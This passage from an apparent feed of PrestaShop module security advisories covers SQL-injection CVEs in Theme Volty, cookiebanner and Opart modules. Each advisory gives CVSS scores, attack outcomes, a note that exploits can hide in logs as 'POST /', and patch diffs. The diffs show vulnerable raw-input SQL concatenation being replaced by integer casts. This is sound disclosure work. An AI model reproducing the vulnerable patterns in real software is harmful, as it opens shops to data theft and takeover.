  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-10</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-02-15</td>
      <td>Author provide a patch which still own all criticals vulnerabilities</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Recontact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-26</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/themes-electronique-high-tech/29992-electron-mega-electronique-high-tech-store.html">PrestaShop addons product page</a></li>
  <li><a href="https://themevolty.com/electron-mega-electronic-store">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39645">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Vitalyn.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Theme Volty CMS Payment Icon” (tvcmspaymenticon) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39648] Improper neutralization of SQL parameter in Theme Volty CMS Testimonial module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/26/tvcmstestimonial.html" rel="alternate" type="text/html" title="[CVE-2023-39648] Improper neutralization of SQL parameter in Theme Volty CMS Testimonial module for PrestaShop" /><published>2023-09-26T00:00:00+00:00</published><updated>2023-09-26T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/26/tvcmstestimonial</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/26/tvcmstestimonial.html"><![CDATA[<p>In the module “Theme Volty CMS Testimonial” (tvcmstestimonial) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39648">CVE-2023-39648</a></li>
  <li><strong>Published at</strong>: 2023-09-26</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: tvcmstestimonial</li>
  <li><strong>Impacted release</strong>: &lt;= 4.0.1 (4.0.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Theme Volty</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The script ajax.php has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-401">Patch from 4.0.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.0.1/tvcmstestimonial/ajax.php
</span><span class="gi">+++ 4.0.2/tvcmstestimonial/ajax.php
</span>        $update_position[] = 'UPDATE 
                                        `' . _DB_PREFIX_ . 'tvcmstestimonial` 
                                    SET
<span class="gd">-                                        `position` = ' . $pos . '
</span><span class="gi">+                                        `position` = ' . (int) $pos . '
</span>                                    WHERE
<span class="gd">-                                        `id_tvcmstestimonial` = ' . $value . ';';
</span><span class="gi">+                                        `id_tvcmstestimonial` = ' . (int) $value . ';';
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>tvcmstestimonial</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-10</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-02-15</td>
      <td>Author provide a patch which still own all criticals vulnerabilities</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Recontact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-26</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/themes-electronique-high-tech/29992-electron-mega-electronique-high-tech-store.html">PrestaShop addons product page</a></li>
  <li><a href="https://themevolty.com/electron-mega-electronic-store">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39648">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Vitalyn.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Theme Volty CMS Testimonial” (tvcmstestimonial) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39640] Improper neutralization of SQL parameter in Cookie Law - Banner + Cookie blocker module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/21/cookiebanner.html" rel="alternate" type="text/html" title="[CVE-2023-39640] Improper neutralization of SQL parameter in Cookie Law - Banner + Cookie blocker module for PrestaShop" /><published>2023-09-21T00:00:00+00:00</published><updated>2023-09-21T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/21/cookiebanner</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/21/cookiebanner.html"><![CDATA[<p>In the module “Cookie Law - Banner + Cookie blocker” (cookiebanner) up to version 1.5.0 from UpLight for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39640">CVE-2023-39640</a></li>
  <li><strong>Published at</strong>: 2023-09-21</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: cookiebanner</li>
  <li><strong>Impacted release</strong>: &lt;= 1.5.0 (1.5.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: UpLight</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">Hook::getHookModuleExecList()</code> inside an override of the module has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-145-and-150">Patch from 1.4.5 and 1.5.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.5/modules/cookiebanner/controllers/front/settings.php
</span><span class="gi">+++ XXXXX/modules/cookiebanner/controllers/front/settings.php
</span><span class="err">...</span>
        } elseif (Tools::isSubmit('submitSettings')) {
            $module_list = Tools::getValue('module_list');
            $disabled_modules_list = array();
            if (is_array($module_list)) {
                foreach ($module_list as $id_module =&gt; $authorized) {
                    if (!$authorized) {
<span class="gd">-                       $disabled_modules_list[] = $id_module;
</span><span class="gi">+                       $disabled_modules_list[] = (int) $id_module;
</span>                    }
                }
            } else {
                $this-&gt;errors[] = $this-&gt;l('No modules selected!');
            }
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.5/modules/cookiebanner/override/classes/Hook.php
</span><span class="gi">+++ XXXXX/modules/cookiebanner/override/classes/Hook.php
</span><span class="err">...</span>
            if (count($disabled_modules_list)) {
<span class="gd">-               $sql-&gt;where('m.`id_module` NOT IN ('.implode(',', $disabled_modules_list).')');
</span><span class="gi">+               $sql-&gt;where('m.`id_module` NOT IN ('.implode(',', array_map('intval', $disabled_modules_list)).')');
</span>            }
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.5.0/modules/cookiebanner/override/classes/Hook.php
</span><span class="gi">+++ XXXXX/modules/cookiebanner/override/classes/Hook.php
</span><span class="err">...</span>
        if (!empty(self::$disabledHookModules)) {
<span class="gd">-           $sql-&gt;where('m.id_module NOT IN (' . implode(', ', self::$disabledHookModules) . ')');
</span><span class="gi">+           $sql-&gt;where('m.`id_module` NOT IN ('.implode(',', array_map('intval', self::$disabledHookModules)).')');
</span>        }
</code></pre></div></div>

<p><strong>WARNING : Be warned that you must check the hook installed here</strong> :</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.5/override/classes/Hook.php
</span><span class="gi">+++ XXXXX/override/classes/Hook.php
</span><span class="err">...</span>
            if (count($disabled_modules_list)) {
<span class="gd">-               $sql-&gt;where('m.`id_module` NOT IN ('.implode(',', $disabled_modules_list).')');
</span><span class="gi">+               $sql-&gt;where('m.`id_module` NOT IN ('.implode(',', array_map('intval', $disabled_modules_list)).')');
</span>            }
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.5.0/override/classes/Hook.php
</span><span class="gi">+++ XXXXX/override/classes/Hook.php
</span><span class="err">...</span>
        if (!empty(self::$disabledHookModules)) {
<span class="gd">-           $sql-&gt;where('m.id_module NOT IN (' . implode(', ', self::$disabledHookModules) . ')');
</span><span class="gi">+           $sql-&gt;where('m.`id_module` NOT IN ('.implode(',', array_map('intval', self::$disabledHookModules)).')');
</span>        }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>cookiebanner</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-24</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-05-26</td>
      <td>PrestaShop Addons security Team confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-07-25</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-25</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-21</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/legislation/15954-cookie-law-blocage-des-cookies-banniere.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39640">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Cookie Law - Banner + Cookie blocker” (cookiebanner) up to version 1.5.0 from UpLight for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-34576] Improper neutralization of SQL parameter in Opart Faq for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/19/opartfaq.html" rel="alternate" type="text/html" title="[CVE-2023-34576] Improper neutralization of SQL parameter in Opart Faq for PrestaShop" /><published>2023-09-19T00:00:00+00:00</published><updated>2023-09-19T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/19/opartfaq</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/19/opartfaq.html"><![CDATA[<p>In the module “Opart Faq” (opartfaq) up to version 1.0.3 from Opart for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34576">CVE-2023-34576</a></li>
  <li><strong>Published at</strong>: 2023-09-19</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: opartfaq</li>
  <li><strong>Impacted release</strong>: &lt;= 1.0.3 (1.0.4 fixed the vulnerability - WARNING : NO SEMVER VERSIONNING BEFORE 2018 - SEE NOTE BELOW)</li>
  <li><strong>Product author</strong>: Opart</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The ajax script updatepos.php has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Note : We didn’t do semver versionning before 2018 - so consider all versions which matched this pattern : XX-XX-XX to be updated without delay.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-103">Patch from 1.0.3</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0.3/modules/opartfaq/updatepost.php
</span><span class="gi">+++ 1.0.4/modules/opartfaq/updatepost.php
</span><span class="err">...</span>
	Db::getInstance()-&gt;update('opartfaq_questions_products', array(
<span class="gd">-			'position' =&gt; $value
</span><span class="gi">+			'position' =&gt; (int) $value
</span><span class="gd">-	),'id_product='.$_POST['opartFaqIdProductPos'].' AND id_opartfaq_questions='.$key);
</span><span class="gi">+	),'id_product='. (int) $_POST['opartFaqIdProductPos'].' AND id_opartfaq_questions='. (int) $key);
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>opartfaq</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-24</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>Author confirms versions scope</td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>Request CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-19</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Opart thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.store-opart.fr/p/20-sauvegarde-partage-lien-panier.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-34576">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Opart&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Opart Faq” (opartfaq) up to version 1.0.3 from Opart for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-34577] Improper neutralization of SQL parameter in Opart Planned popup for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/19/opartplannedpopup.html" rel="alternate" type="text/html" title="[CVE-2023-34577] Improper neutralization of SQL parameter in Opart Planned popup for PrestaShop" /><published>2023-09-19T00:00:00+00:00</published><updated>2023-09-19T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/19/opartplannedpopup</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/19/opartplannedpopup.html"><![CDATA[<p>In the module “Opart planned popup” (opartplannedpopup) up to version 1.4.11 from Opart for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34577">CVE-2023-34577</a></li>
  <li><strong>Published at</strong>: 2023-09-19</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: opartplannedpopup</li>
  <li><strong>Impacted release</strong>: &lt;= 1.4.11 (1.4.12 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Opart</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">OpartPlannedPopupModuleFrontController::prepareHook()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop specific controller and most attackers can conceal this controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data on the associated PrestaShop</li>
  <li>Copy/past datas from sensibles tables to FRONT to exposed tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijacked emails</li>
</ul>

<h2 id="patch-from-1411">Patch from 1.4.11</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.11/modules/opartplannedpopup/opartplannedpopup.php
</span><span class="gi">+++ 1.4.12/modules/opartplannedpopup/opartplannedpopup.php
</span><span class="err">...</span>
private function prepareHook()
	{
		$where = '';

		if (get_class($this-&gt;context-&gt;controller) == 'OrderController')
		{
            if (Tools::getIsset('step')) {
                $current_step = Tools::getValue('step');
            } else {
                $current_step = 0;
            }
<span class="gd">-			$where = 'p.display_order="" OR (p.display_order LIKE "'.$current_step.'" OR ';
</span><span class="gi">+			$where = 'p.display_order="" OR (p.display_order LIKE "'.(int)$current_step.'" OR ';
</span><span class="gd">-			$where .= 'p.display_order LIKE "'.$current_step.',%" OR p.display_order LIKE "%,'.$current_step.',%" OR ';
</span><span class="gi">+			$where .= 'p.display_order LIKE "'.(int)$current_step.',%" OR p.display_order LIKE "%,'.(int)$current_step.',%" OR ';
</span><span class="gd">-			$where .= 'p.display_order LIKE "%,'.$current_step.'")';
</span><span class="gi">+			$where .= 'p.display_order LIKE "%,'.(int)$current_step.'")';
</span>		}
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>opartplannedpopup</strong>.</li>
  <li>Upgrade PrestaShop to the latest version to disable multiquery executions (separated by “;”)</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nethertheless, be warned that this is useless against blackhat with DBA senior skilled because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-10-04</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr/">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2022-10-04</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2022-10-04</td>
      <td>Author confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>Request CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-19</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Opart thanks <a href="https://www.touchweb.fr/">TouchWeb.fr</a> and <a href="https://www.creabilis.com/">Creabilis.com</a> for their courtesies and their help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.store-opart.fr/p/16-op-art-planned-popup.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-34577">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Opart&quot;, &quot;TouchWeb.fr&quot;, &quot;Creabilis.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Opart planned popup” (opartplannedpopup) up to version 1.4.11 from Opart for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-34575] Improper neutralization of SQL parameter in Opart Save Cart for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/19/opartsavecart.html" rel="alternate" type="text/html" title="[CVE-2023-34575] Improper neutralization of SQL parameter in Opart Save Cart for PrestaShop" /><published>2023-09-19T00:00:00+00:00</published><updated>2023-09-19T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/19/opartsavecart</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/19/opartsavecart.html"><![CDATA[<p>In the module “Opart Save Cart” (opartsavecart) up to version 2.0.7 from Opart for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34575">CVE-2023-34575</a></li>
  <li><strong>Published at</strong>: 2023-09-19</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: opartsavecart</li>
  <li><strong>Impacted release</strong>: &lt;= 2.0.7 (2.0.8 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Opart</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

